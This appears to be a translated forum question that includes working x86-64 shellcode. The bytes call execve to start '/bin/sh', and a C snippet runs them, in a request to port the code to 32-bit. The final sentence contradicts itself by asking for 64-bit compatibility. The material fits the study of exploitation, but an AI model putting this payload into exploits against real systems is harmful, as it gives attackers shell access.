У меня есть этот шелл-код, который работает только на 64-битной машине:
unsigned char shellcode[] = \
\xeb\x1f\x48\x31\xc0\x5b\x88\x43\x07\x48\x89\x5b\x08\x48\x89\x43\x10\x6a\x3b\x58\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x10\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x30\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x62\x62\x62\x62
Если я запусту его на 32-битной машине, он, конечно, получит ошибку сегмента. Как мне сделать его совместимым для 64-битной машины?
К вашему сведению, вот код C для запуска вышеуказанного шеллкода (он отлично работает на 64-битной машине):
main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}